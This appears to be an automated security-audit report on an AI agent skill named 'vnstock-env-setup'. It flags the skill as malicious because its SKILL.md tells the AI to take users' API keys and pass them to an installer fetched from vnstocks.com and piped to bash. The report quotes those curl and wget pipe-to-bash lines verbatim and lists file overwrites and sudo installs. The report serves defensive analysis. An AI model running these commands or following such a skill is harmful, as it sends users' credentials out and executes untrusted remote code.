vnstock-env-setup
Confirmed malicious: credential theft combined with curl|bash remote code execution allows arbitrary code injection at any time.
The skill instructs the AI to accept user API keys and pass them to the remotely-fetched installer script at https://vnstocks.com/files/vnstock-cli-installer.run via --api-key parameter. This means all sponsor-tier API keys are transmitted to an external server.
SKILL.md:129 Why this conclusion was reached
3/4 dimensions flagged4 undeclared or violating capabilities were inferred.
4 high-risk artifacts or egress signals were extracted.
The report includes 5 attack-chain steps and 5 severe findings.
2 dependency or supply-chain issues need attention.
Attack Chain
Entry · SKILL.md:1
social_engineering · SKILL.md:129
credential_theft · SKILL.md:129
Escalation · SKILL.md:132
Impact · SKILL.md:132
What drove the risk score up
User-provided API keys are passed to https://vnstocks.com/files/vnstock-cli-installer.run
SKILL.md lines 32,129,132 pipe remote script directly to bash - attacker can inject arbitrary code at any time
Combining credential theft and RCE is nearly conclusive maliciousness per scoring rules
pip install -r https://vnstocks.com/files/requirements.txt has no hash pinning
SKILL.md does not disclose that API keys are sent to external servers
Most important evidence
API keys sent to external server vnstocks.com
The skill instructs the AI to accept user API keys and pass them to the remotely-fetched installer script at https://vnstocks.com/files/vnstock-cli-installer.run via --api-key parameter. This means all sponsor-tier API keys are transmitted to an external server.
SKILL.md:129 curl|bash remote code execution pattern
SKILL.md instructs execution of 'curl URL | bash' which downloads and executes arbitrary code from vnstocks.com. The server can modify the response at any time to inject malicious code, creating a persistent backdoor.
SKILL.md:132 Unverified external requirements.txt
pip install -r https://vnstocks.com/files/requirements.txt downloads dependencies from an external URL with no version pinning, hash verification, or integrity checks. The remote file can be modified at any time.
SKILL.md:30 Undeclared credential transmission
SKILL.md describes this as a 'diagnostics and setup' skill but never discloses that user API keys are transmitted to vnstocks.com. The documentation only mentions 'API key' in the install command context.
SKILL.md:1 Filesystem overwrite without proper confirmation
setup_agent_guide.py overwrites AGENTS.md, CLAUDE.md, entire docs/ directory, and copies/deletes skills directories. Git config is modified with hardcoded email '[email protected]'.
scripts/setup_agent_guide.py:67 Attempts to install git with elevated privileges
check_and_install_git() attempts 'sudo apt-get install -y git' on Linux and downloads/runs an installer executable on Windows.
scripts/setup_agent_guide.py:30 Declared capability vs actual capability
SKILL.md:32 curl|bash pattern SKILL.md:32 POSTs API key to vnstocks.com setup_agent_guide.py:67-91 shutil.copytree/rmtree diagnostics.py:16 checks VIRTUAL_ENV, CONDA_PREFIX Suspicious artifacts and egress
wget -qO- https://vnstocks.com/files/vnstock-cli-installer.run \| bash SKILL.md:32
curl -fsSL https://vnstocks.com/files/vnstock-cli-installer.run \| bash SKILL.md:32
wget -qO- https://vnstocks.com/files/vnstock-cli-installer.run | bash SKILL.md:129
curl -fsSL https://vnstocks.com/files/vnstock-cli-installer.run | bash SKILL.md:132
https://vnstocks.com/files/requirements.txt SKILL.md:30
https://vnstocks.com/files/vnstock-cli-installer.run SKILL.md:32
https://vnstocks.com/files/requirements.txt; SKILL.md:32
https://vnstocks.com/api/simple SKILL.md:32
Dependencies and supply chain
| Package | Version | Source | Known vuln | Notes |
|---|---|---|---|---|
| vnstocks.com/files/requirements.txt | * | external URL | Yes | No version pinning, no hash verification, fetched from external server |
| vnstock-cli-installer.run | unknown | external URL | Yes | Remote script piped to bash - can be modified at any time to inject malicious code |
File composition
SKILL.md scripts/setup_agent_guide.py